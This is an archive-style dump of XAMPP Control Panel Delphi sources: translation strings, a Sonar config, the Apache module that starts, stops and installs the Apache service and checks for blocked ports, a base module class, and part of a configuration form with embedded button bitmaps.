msgstr "Append line feeds to incoming carriage return" #~ msgid "Caret" #~ msgstr "Caret" #~ msgid "Columns" #~ msgstr "Columns" #~ msgid "Rows" #~ msgstr "Rows" #~ msgid "Cursor keys" #~ msgstr "Cursor keys" #~ msgid "Block" #~ msgstr "Block" #~ msgid "Underline" #~ msgstr "Underline" #~ msgid "ANSI/VT100" #~ msgstr "ANSI/VT100" #~ msgid "VT52" #~ msgstr "VT52" #~ msgid "Act as terminal keys" #~ msgstr "Act as terminal keys" #~ msgid "Act as windows keys" #~ msgstr "Act as windows keys" #~ msgid "" #~ "Unit Test for TComPort Component and CPORTU modifications (W. Postma)" #~ msgstr "" #~ "Unit Test for TComPort Component and CPORTU modifications (W. Postma)" #~ msgid "Insert loopback plug into your serial port," #~ msgstr "Insert loopback plug into your serial port," #~ msgid "select the serial port from the combo-box," #~ msgstr "select the serial port from the combo-box," #~ msgid "and then click Run Test." #~ msgstr "and then click Run Test." #~ msgid "Result: Not Run Yet." #~ msgstr "Result: Not Run Yet." #~ msgid "Run Test" #~ msgstr "Run Test" xampp-control-panel/sonar-project.properties000066600000000720151723641500015357 0ustar00# Required metadata sonar.projectKey=org.codehaus.sonar:delphi-sonar-runner sonar.projectName=Delphi project analyzed with the Sonar Runner sonar.projectVersion=1.0 # Comma-separated paths to directories with sources (required) sonar.sources=. # Language sonar.language=delph # To deactivate features related to unit tests execution and coverage #sonar.dynamicAnalysis=false # Encoding of the source files sonar.sourceEncoding=UTF-8 xampp-control-panel/uApache.pas000066600000037447151723641500012546 0ustar00unit uApache; interface uses GnuGettext, uBaseModule, SysUtils, Classes, Windows, ExtCtrls, StdCtrls, Buttons, uNetstatTable, uTools, uProcesses_new, Messages, uServices; type tApacheLogType = (altAccess, altError); tApache = class(tBaseModule) OldPIDs, OldPorts: string; OldPIDCount: integer; GlobalStatus: string; procedure ServiceInstall; override; procedure ServiceUnInstall; override; procedure Start; override; procedure Stop; override; procedure Admin; override; procedure CheckPorts; procedure UpdateStatus; override; procedure CheckIsService; reintroduce; procedure AddLog(Log: string; LogType: tLogType = ltDefault); reintroduce; constructor Create(pbbService: TBitBtn; pStatusPanel: tPanel; pPIDLabel, pPortLabel: tLabel; pStartStopButton, pAdminButton: TBitBtn); destructor Destroy; override; end; implementation uses uMain; const cModuleName = 'Apache'; { tApache } procedure tApache.AddLog(Log: string; LogType: tLogType = ltDefault); begin inherited AddLog(cModuleName, Log, LogType); end; procedure tApache.Admin; var App, Param: string; begin inherited; if Config.ServicePorts.Apache = 80 then Param := 'http://localhost/' else Param := 'http://localhost:' + IntToStr(Config.ServicePorts.Apache) + '/'; if Config.BrowserApp <> '' then begin App := Config.BrowserApp; ExecuteFile(App, Param, '', SW_SHOW); AddLog(Format(_('Executing "%s" "%s"'), [App, Param]), ltDebug); end else begin ExecuteFile(Param, '', '', SW_SHOW); AddLog(Format(_('Executing "%s"'), [Param]), ltDebug); end; end; procedure tApache.CheckIsService; var s: string; path: string; begin inherited CheckIsService(RemoveWhiteSpace(Config.ServiceNames.Apache)); if isService then begin s := _('Service installed'); path := GetServicePath(RemoveWhiteSpace(Config.ServiceNames.Apache)); end else s := _('Service not installed'); AddLog(Format(_('Checking for service (name="%s"): %s'), [RemoveWhiteSpace(Config.ServiceNames.Apache), s]), ltDebug); if (path <> '') then begin if (Pos(LowerCase(basedir + 'apache\bin\' + Config.BinaryNames.Apache), LowerCase(path)) <> 0) then AddLog(Format(_('Service Path: %s'), [path]), ltDebug) else begin pStatus.Color := cErrorColor; AddLog(Format(_('%s Service detected with wrong path'), [cModuleName]), ltError); AddLog(Format(_('Change XAMPP %s and Control Panel settings or'), [cModuleName]), ltError); AddLog(_('Uninstall/disable the other service manually first'), ltError); AddLog(Format(_('Found Path: %s'), [path]), ltError); AddLog(Format(_('Expected Path: "%sapache\bin\%s" -k runservice'), [basedir, Config.BinaryNames.Apache]), ltError); end end else AddLog(_('Service Path: Service Not Installed'), ltDebug); end; constructor tApache.Create; var ServerApp: string; begin inherited; ModuleName := cModuleName; OldPIDCount := 0; GlobalStatus := 'starting'; AddLog(_('Initializing module...'), ltDebug); ServerApp := basedir + 'apache\bin\' + Config.BinaryNames.Apache; AddLog(_('Checking for module existence...'), ltDebug); if not FileExists(ServerApp) then begin pStatus.Color := cErrorColor; AddLog(Format(_('Problem detected: %s Not Found!'), [cModuleName]), ltError); AddLog(Format(_('Disabling %s buttons'), [cModuleName]), ltError); AddLog(_('Run this program from your XAMPP root directory!'), ltError); bAdmin.Enabled := False; bbService.Enabled := False; bStartStop.Enabled := False; end; if not Config.EnableServices.Apache then begin AddLog(Format(_('%s Service is disabled.'), [cModuleName]), ltDebug); fmain.bApacheService.Enabled := False; end; AddLog(_('Checking for required tools...'), ltDebug); CheckIsService; CheckPorts; end; destructor tApache.Destroy; begin inherited; end; procedure tApache.CheckPorts; var PortBlocker: string; PortBlockerPID: integer; path: string; p: integer; ServerApp: string; pbpath: string; pbspath: string; Ports: array [0 .. 1] of integer; begin ServerApp := basedir + 'apache\bin\' + Config.BinaryNames.Apache; Ports[0] := Config.ServicePorts.Apache; Ports[1] := Config.ServicePorts.ApacheSSL; path := GetServicePath(RemoveWhiteSpace(Config.ServiceNames.Apache)); if Config.EnableChecks.CheckDefaultPorts then begin AddLog(_('Checking default ports...'), ltDebug); for p := Low(Ports) to High(Ports) do begin PortBlockerPID := NetStatTable.isPortInUsePID(Ports[p]); if (PortBlockerPID > 0) then begin PortBlocker := Processes.GetProcessName(PortBlockerPID); AddLog(Format(_('Portblocker Detected: %s'), [PortBlocker]), ltDebug); AddLog(Format(_('Checking for App: %s'), [ServerApp]), ltDebug); if isService then AddLog(Format(_('Checking for Service: %s'), [path]), ltDebug); //if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then pbpath := Processes.GetProcessPath(PortBlockerPID); pbspath := GetServiceWithPid(PortBlockerPID); AddLog(Format(_('Portblocker Path: %s'), [pbpath]), ltDebug); AddLog(Format(_('Portblocker Service Path: %s'), [pbspath]), ltDebug); if (Pos(LowerCase(ServerApp), LowerCase(pbpath)) <> 0) then begin AddLog(Format(_('XAMPP %s is already running on port %d'), [cModuleName, Ports[p]]), ltInfo); end //else if (Pos(LowerCase(PortBlocker), LowerCase(path)) <> 0) and (isService = True) then else if (Pos(LowerCase(pbspath), LowerCase(path)) <> 0) and (isService = True) and (Pos(LowerCase(ServerApp), LowerCase(pbspath)) <> 0) then begin AddLog(Format(_('XAMPP %s Service is already running on port %d'), [cModuleName, Ports[p]]), ltInfo); //AddLog(Format(_('Service Path: %s'), [GetServiceWithPid(PortBlockerPID)]), ltDebug); end else begin pStatus.Color := cErrorColor; if (pbspath <> '') then PortBlocker := pbspath else PortBlocker := pbpath; AddLog(_('Problem detected!'), ltError); AddLog(Format(_('Port %d in use by "%s" with PID %d!'), [Ports[p], PortBlocker, PortBlockerPID]), ltError); AddLog(Format(_('%s WILL NOT start without the configured ports free!'), [cModuleName]), ltError); AddLog(_('You need to uninstall/disable/reconfigure the blocking application'), ltError); AddLog(Format(_('or reconfigure %s and the Control Panel to listen on a different port'), [cModuleName]), ltError); end; end; end; end; end; procedure tApache.ServiceInstall; var App, Param: string; RC: integer; begin App := basedir + 'apache\bin\' + Config.BinaryNames.Apache; Param := '-k install -n "' + RemoveWhiteSpace(Config.ServiceNames.Apache) + '"'; AddLog(_('Installing service...')); AddLog(Format(_('Executing "%s %s"'), [App, Param]), ltDebug); RC := RunAsAdmin(App, Param, SW_HIDE); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; procedure tApache.ServiceUnInstall; var App, Param: string; RC: Cardinal; begin App := basedir + 'apache\bin\' + Config.BinaryNames.Apache; Param := '-k uninstall -n "' + RemoveWhiteSpace(Config.ServiceNames.Apache) + '"'; AddLog(_('Uninstalling service...')); AddLog(Format(_('Executing "%s %s"'), [App, Param]), ltDebug); RC := RunAsAdmin(App, Param, SW_HIDE); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; procedure tApache.Start; var App, ErrMsg: string; RC: Cardinal; begin GlobalStatus := 'starting'; CheckPorts; if isService and Config.EnableServices.Apache then begin AddLog(Format(_('Attempting to start %s service...'), [cModuleName])); App := Format('start "%s"', [RemoveWhiteSpace(Config.ServiceNames.Apache)]); AddLog(Format(_('Executing "%s"'), ['net ' + App]), ltDebug); RC := RunAsAdmin('net', App, SW_HIDE); // RC := StartService(RemoveWhiteSpace(Config.ServiceNames.Apache)); if (RC = 0) or (RC = 1077) then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else begin ErrMsg := SysUtils.SysErrorMessage(System.GetLastError); AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; end else begin AddLog(Format(_('Attempting to start %s app...'), [cModuleName])); App := basedir + 'apache\bin\' + Config.BinaryNames.Apache; AddLog(Format(_('Executing "%s"'), [App]), ltDebug); RC := RunProcess(App, SW_HIDE, False); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else begin ErrMsg := SysUtils.SysErrorMessage(System.GetLastError); AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; end; end; procedure tApache.Stop; var i, pPID: integer; App: string; ErrMsg: string; RC: Cardinal; begin GlobalStatus := 'stopping'; if isService and Config.EnableServices.Apache then begin AddLog(Format(_('Attempting to stop %s service...'), [cModuleName])); App := Format('stop "%s"', [RemoveWhiteSpace(Config.ServiceNames.Apache)]); AddLog(Format(_('Executing "%s"'), ['net ' + App]), ltDebug); RC := RunAsAdmin('net', App, SW_HIDE); // RC := StopService(RemoveWhiteSpace(Config.ServiceNames.Apache)); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else begin ErrMsg := SysUtils.SysErrorMessage(System.GetLastError); AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; end else begin if PIDList.Count > 0 then begin for i := 0 to PIDList.Count - 1 do begin pPID := integer(PIDList[i]); AddLog(_('Attempting to stop') + ' ' + cModuleName + ' ' + Format('(PID: %d)', [pPID])); // App := Format(basedir + 'apache\bin\pv.exe -f -k -q -i %d', [pPID]); // AddLog(Format(_('Executing "%s"'), [App]), ltDebug); // RC := RunProcess(App, SW_HIDE, false); if not TerminateProcessByID(pPID) then begin AddLog(Format(_('Problem killing PID %d'), [pPID]), ltError); AddLog(_('Check that you have the proper privileges'), ltError); end; end; end else begin AddLog(_('No PIDs found?!')); end; end; end; procedure tApache.UpdateStatus; var p: integer; // ProcInfo: TProcInfo; s: string; Ports: string; pname: string; ppath: string; currPID: integer; ErrorStatus: integer; begin isRunning := False; PIDList.Clear; ErrorStatus := 0; // for p := 0 to Processes.ProcessList.Count - 1 do // begin // ProcInfo := Processes.ProcessList[p]; // if (pos(Config.BinaryNames.Apache, ProcInfo.Module) = 1) then // begin // if (pos(IntToStr(Config.ServicePorts.Apache),NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) or // (pos(IntToStr(Config.ServicePorts.ApacheSSL),NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) or // (pos(LowerCase(BaseDir), LowerCase(ProcInfo.ExePath)) <> 0) then // begin // isRunning := true; // PIDList.Add(Pointer(ProcInfo.PID)); // end; // end; // end; for p := 0 to Processes.ProcessList2.Count - 1 do begin pname := Processes.ProcessList2[p]; if (Pos(LowerCase(Config.BinaryNames.Apache), LowerCase(pname)) = 1) then begin currPID := integer(Processes.ProcessList2.Objects[p]); if (isService) then begin ppath := LowerCase(GetServiceWithPid(currPID)); if ((Pos(IntToStr(Config.ServicePorts.Apache), NetStatTable.GetPorts4PID(currPID)) <> 0) and (Pos(LowerCase(basedir), ppath) <> 0)) or ((Pos(IntToStr(Config.ServicePorts.ApacheSSL), NetStatTable.GetPorts4PID(currPID)) <> 0) and (Pos(LowerCase(basedir), ppath) <> 0)) or (Pos(LowerCase(basedir), ppath) <> 0) then begin isRunning := True; PIDList.Add(Pointer(currPID)); end; end else begin ppath := LowerCase(Processes.GetProcessPath(currPID)); if ((Pos(IntToStr(Config.ServicePorts.Apache), NetStatTable.GetPorts4PID(currPID)) <> 0) and (Pos(LowerCase(basedir), ppath) <> 0)) or ((Pos(IntToStr(Config.ServicePorts.ApacheSSL), NetStatTable.GetPorts4PID(currPID)) <> 0) and (Pos(LowerCase(basedir), ppath) <> 0)) or (Pos(LowerCase(basedir), ppath) <> 0) then begin isRunning := True; PIDList.Add(Pointer(currPID)); end; end; end; end; // Checking processes s := ''; for p := 0 to PIDList.Count - 1 do begin if p = 0 then s := IntToStr(integer(PIDList[p])) else s := s + #13 + IntToStr(integer(PIDList[p])); end; if s <> OldPIDs then begin lPID.Caption := s; OldPIDs := s; end; // Checking netstats s := ''; for p := 0 to PIDList.Count - 1 do begin Ports := NetStatTable.GetPorts4PID(integer(PIDList[p])); if Ports <> '' then s := RemoveDuplicatePorts(Ports); end; if s <> OldPorts then begin lPort.Caption := s; OldPorts := s; end; if (byte(isRunning) <> oldIsRunningByte) or (OldPIDCount <> PIDList.Count) then begin if (oldIsRunningByte <> 2) and (byte(isRunning) <> oldIsRunningByte) then begin if isRunning then s := _('running') else begin s := _('stopped'); if GlobalStatus = 'starting' then ErrorStatus := 1; end; AddLog(_('Status change detected:') + ' ' + s); if ErrorStatus = 1 then begin pStatus.Color := cErrorColor; AddLog(Format(_('Error: %s shutdown unexpectedly.'), [cModuleName]), ltError); AddLog(_('This may be due to a blocked port, missing dependencies, '), ltError); AddLog(_('improper privileges, a crash, or a shutdown by another method.'), ltError); AddLog(_('Press the Logs button to view error logs and check'), ltError); AddLog(_('the Windows Event Viewer for more clues'), ltError); AddLog(_('If you need more help, copy and post this'), ltError); AddLog(_('entire log window on the forums'), ltError); end; end; oldIsRunningByte := byte(isRunning); if isRunning then begin if (PIDList.Count = 2) or ((PIDList.Count = 1) and (isService)) then begin pStatus.Color := cRunningColor; bStartStop.Caption := _('Stop'); bAdmin.Enabled := True; fmain.ApacheTray.ImageIndex := 15; fmain.ApacheTrayControl.Caption := _('Stop'); end else begin pStatus.Color := cPartialColor; bStartStop.Caption := _('Stop'); bAdmin.Enabled := True; end; end else begin pStatus.Color := cStoppedColor; bStartStop.Caption := _('Start'); bAdmin.Enabled := False; fmain.ApacheTray.ImageIndex := 16; fmain.ApacheTrayControl.Caption := _('Start'); end; end; OldPIDCount := PIDList.Count; if AutoStart then begin AutoStart := False; if isRunning then begin AddLog(Format(_('Autostart aborted: %s is already running'), [cModuleName]), ltInfo); end else begin AddLog(_('Autostart active: starting...')); Start; end; end; end; end. xampp-control-panel/uBaseModule.pas000066600000004401151723641500013365 0ustar00unit uBaseModule; interface uses GnuGettext, Classes, ExtCtrls, StdCtrls, Buttons, SysUtils, uTools, uServices; type tBaseModule = class public bbService: TBitBtn; pStatus: tPanel; lPID: tLabel; lPort: tLabel; bStartStop: TBitBtn; bAdmin: TBitBtn; AutoStart: boolean; oldIsRunningByte: byte; isRunning: boolean; isService: boolean; PIDList: tList; ModuleName: string; procedure Start; virtual; abstract; procedure Stop; virtual; abstract; procedure Admin; virtual; abstract; procedure UpdateStatus; virtual; abstract; procedure ServiceInstall; virtual; abstract; procedure ServiceUnInstall; virtual; abstract; procedure SetServiceButton(isActive: boolean); procedure CheckIsService(ServiceName: string); procedure AddLog(module, log: string; LogType: tLogType); constructor Create(pbbService: TBitBtn; pStatusPanel: tPanel; pPIDLabel, pPortLabel: tLabel; pStartStopButton, pAdminButton: TBitBtn); destructor Destroy; override; end; implementation uses uMain; { tBaseModule } procedure tBaseModule.AddLog(module, log: string; LogType: tLogType); begin fMain.AddLog(module, log, LogType); end; procedure tBaseModule.CheckIsService(ServiceName: string); var ServiceStatus: TServiceStatus; begin ServiceStatus := GetServiceStatus(ServiceName); isService := ServiceStatus in [ssRunning, ssStopped]; SetServiceButton(isService); end; constructor tBaseModule.Create(pbbService: TBitBtn; pStatusPanel: tPanel; pPIDLabel, pPortLabel: tLabel; pStartStopButton, pAdminButton: TBitBtn); begin PIDList := tList.Create; isRunning := false; isService := false; bbService := pbbService; pStatus := pStatusPanel; lPID := pPIDLabel; lPort := pPortLabel; bStartStop := pStartStopButton; bAdmin := pAdminButton; oldIsRunningByte := 2; AutoStart := false; end; destructor tBaseModule.Destroy; begin PIDList.Free; inherited; end; procedure tBaseModule.SetServiceButton(isActive: boolean); begin bbService.Glyph := nil; if isActive then fMain.ImageList.GetBitmap(11, bbService.Glyph); if not isActive then fMain.ImageList.GetBitmap(10, bbService.Glyph); end; end. xampp-control-panel/uConfig.dfm000066600000035500151723641500012541 0ustar00object fConfig: TfConfig Left = 463 Top = 124 Caption = 'Configuration of Control Panel' ClientHeight = 519 ClientWidth = 448 Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Tahoma' Font.Style = [] KeyPreview = True OldCreateOrder = False Position = poScreenCenter OnCreate = FormCreate OnKeyPress = FormKeyPress OnShow = FormShow DesignSize = ( 448 519) PixelsPerInch = 120 TextHeight = 17 object lblEditor: TLabel Left = 10 Top = 10 Width = 41 Height = 17 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Editor:' end object lblBrowser: TLabel Left = 9 Top = 64 Width = 210 Height = 17 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Browser (empty = system default)' end object bSelectEditor: TBitBtn Left = 402 Top = 29 Width = 34 Height = 32 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akTop, akRight] Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA2CAEE 76B2E63E91DB348CD9348CD9348CD9348CD9348CD9348CD9348CD9348CD9348B D9398FDA85B9E9FFFFFFFFFFFF4799DDDEF1FAA8DDF49EDBF496DAF38ED8F386 D7F37FD4F279D3F272D2F16CD0F169CFF1C2EAF83F95DBFFFFFFFFFFFF3B97DB EFFAFEA1E9F991E5F881E1F772DEF663DAF554D7F447D3F339D0F22ECDF126CB F0CAF2FB3B97DBFFFFFFFFFFFF3C9DDBF2FAFDB3EDFAA4E9F995E6F885E2F776 DEF665DBF557D7F449D4F33BD1F230CEF1CCF2FB3B9BDBFFFFFFFFFFFF3BA3DB F6FCFEC8F2FCB9EFFBACECFA9CE8F98BE3F77CE0F66CDCF65DD9F54FD6F444D3 F3D0F3FC3BA2DBFFFFFFFFFFFF3BA8DBFEFFFFF8FDFFF6FDFFF5FCFFF3FCFED8 F6FC94E6F885E3F776DFF668DBF55CD8F4D7F4FC3BA7DBFFFFFFFFFFFF39ADDB E8F6FB94D4EF88CEEE73C1E9C9E9F6F2FCFEF3FCFEF2FCFEF0FCFEEFFBFEEEFB FEFEFFFF3CAEDBFFFFFFFFFFFF40AEDCF1FAFD94DEF593DCF481D5F26ACAED6C CBEA85D3EF80D2EF7AD0EF76CFEE72CFEEE9F7FB3EB2DCFFFFFFFFFFFF41B4DC F7FCFE8EE4F891DEF59FE0F5ACE1F6EFFBFEF4FDFEF3FCFEF1FCFEEFFBFEEEFB FEFAFDFF58BCE0FFFFFFFFFFFF3CB5DBFDFEFEFEFFFFFEFEFFFDFEFFFEFFFFEA F7FB6EC8E56FC9E46FC9E46FC9E47DCFE784D0E8BAE5F2FFFFFFFFFFFF59C2E0 61C3E263C4E363C4E363C4E362C4E356C0E0EDF8FCF3FAFDF3FAFDF3FAFDF3FA FDF3FBFDFCFEFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF} TabOrder = 0 OnClick = bSelectEditorClick ExplicitLeft = 403 end object eEditor: TEdit Left = 10 Top = 31 Width = 384 Height = 25 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akLeft, akTop, akRight] TabOrder = 1 ExplicitWidth = 385 end object bSave: TBitBtn Left = 338 Top = 476 Width = 98 Height = 33 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akRight, akBottom] Caption = 'Save' Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FAF7F9FBF9FF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFF7FAF837833D347D3AF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8FBF8408E4754A35C4F9F5733 7D39F8FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF F8FBF8499A515BAC6477CA8274C87E51A059347E3AF8FBF9FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFF8FCF951A65A63B56D7ECE897BCC8776CA8176 C98152A25A357F3BF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9FCFA59B063 6BBD7684D2907AC98560B26A63B46D78C98378CB8253A35C36803CF9FBF9FFFF FFFFFFFFFFFFFFFFFFFFD3ECD66CBD7679C98680CE8D53A75CB2D6B59CC9A05C AD677CCC8679CB8554A45D37813DF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFD9EFDC 6CBD756DC079B5DBB9FFFFFFFFFFFF98C79D5EAE687DCD897CCD8756A55F3882 3EF9FBF9FFFFFFFFFFFFFFFFFFFFFFFFD5EDD8BEE2C3FFFFFFFFFFFFFFFFFFFF FFFF99C89D5FAF697FCE8A7ECE8957A66039833FF9FBF9FFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF99C89E60B06A81CF8D7FCF 8B58A761398540F9FBF9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFF99C99E62B26C82D18F7AC88557A6609FC4A2FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9ACA9F63B3 6D5FAF69A5CBA9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFF9ACA9FA5CEA9FFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF} ModalResult = 1 TabOrder = 2 OnClick = bSaveClick ExplicitLeft = 339 ExplicitTop = 452 end object bAbort: TBitBtn Left = 232 Top = 476 Width = 98 Height = 33 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akRight, akBottom] Caption = 'Abort' Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCECEFAF9F9FEFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFF8F8FEC6C5F8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF D1D0FB4F4CF24140EDF9F9FEFFFFFFFFFFFFFFFFFFFFFFFFF8F8FE2725E4312F EAC6C5F8FFFFFFFFFFFFFFFFFFD3D3FC5856F56361FA5855F64341EDF9F9FEFF FFFFFFFFFFF9F8FE2E2DE6413FF14C4AF6312FEAC6C5F8FFFFFFFFFFFFE3E3FD 5B58F66562FA7170FF5956F64442EEF9F9FEF9F9FE3734E94745F26362FF4A48 F42F2DE9DAD9FAFFFFFFFFFFFFFFFFFFE3E3FD5B59F66663FA7471FF5A58F645 43EE403EEC504DF46867FF504EF53634EBDBDBFBFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFE3E3FD5C5AF66764FA7472FF7370FF706EFF6E6CFF5755F73F3DEEDCDC FBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE4E3FD5D5BF77976FF59 56FF5754FF7270FF4846F0DEDEFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFAFAFF5E5BF67D79FF5E5BFF5B58FF7674FF4744EFF9F9FEFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFAFAFF6865F9706DFB807EFF7E 7BFF7C79FF7977FF5E5CF74946EFF9F9FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FBFAFF706DFC7774FD8682FF7673FC6462F8605DF76D6AFA7B79FF605DF74A47 EFF9F9FEFFFFFFFFFFFFFFFFFFFBFBFF7572FE7D7AFE8A87FF7C79FD6C69FBE5 E4FEE4E4FE615EF86E6CFA7D7AFF615FF74B48F0FBFBFFFFFFFFFFFFFFEEEEFF 7A77FF817EFF817EFE7471FDE6E6FEFFFFFFFFFFFFE4E4FE625FF86F6DFB7E7C FF625FF8B0AFF8FEFEFFFFFFFFFFFFFFEEEEFF7A77FF7976FEE7E7FFFFFFFFFF FFFFFFFFFFFFFFFFE4E4FE6461F86A68F98E8CF7E3E2FDFFFFFFFFFFFFFFFFFF FFFFFFEEEEFFE8E8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE5E4FEB8B8 FCD7D6FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F9FFFFFFFFFFFFFFFFFFFF} ModalResult = 3 TabOrder = 3 OnClick = bAbortClick ExplicitLeft = 233 ExplicitTop = 452 end object bSelectBrowser: TBitBtn Left = 402 Top = 85 Width = 34 Height = 33 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akTop, akRight] Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA2CAEE 76B2E63E91DB348CD9348CD9348CD9348CD9348CD9348CD9348CD9348CD9348B D9398FDA85B9E9FFFFFFFFFFFF4799DDDEF1FAA8DDF49EDBF496DAF38ED8F386 D7F37FD4F279D3F272D2F16CD0F169CFF1C2EAF83F95DBFFFFFFFFFFFF3B97DB EFFAFEA1E9F991E5F881E1F772DEF663DAF554D7F447D3F339D0F22ECDF126CB F0CAF2FB3B97DBFFFFFFFFFFFF3C9DDBF2FAFDB3EDFAA4E9F995E6F885E2F776 DEF665DBF557D7F449D4F33BD1F230CEF1CCF2FB3B9BDBFFFFFFFFFFFF3BA3DB F6FCFEC8F2FCB9EFFBACECFA9CE8F98BE3F77CE0F66CDCF65DD9F54FD6F444D3 F3D0F3FC3BA2DBFFFFFFFFFFFF3BA8DBFEFFFFF8FDFFF6FDFFF5FCFFF3FCFED8 F6FC94E6F885E3F776DFF668DBF55CD8F4D7F4FC3BA7DBFFFFFFFFFFFF39ADDB E8F6FB94D4EF88CEEE73C1E9C9E9F6F2FCFEF3FCFEF2FCFEF0FCFEEFFBFEEEFB FEFEFFFF3CAEDBFFFFFFFFFFFF40AEDCF1FAFD94DEF593DCF481D5F26ACAED6C CBEA85D3EF80D2EF7AD0EF76CFEE72CFEEE9F7FB3EB2DCFFFFFFFFFFFF41B4DC F7FCFE8EE4F891DEF59FE0F5ACE1F6EFFBFEF4FDFEF3FCFEF1FCFEEFFBFEEEFB FEFAFDFF58BCE0FFFFFFFFFFFF3CB5DBFDFEFEFEFFFFFEFEFFFDFEFFFEFFFFEA 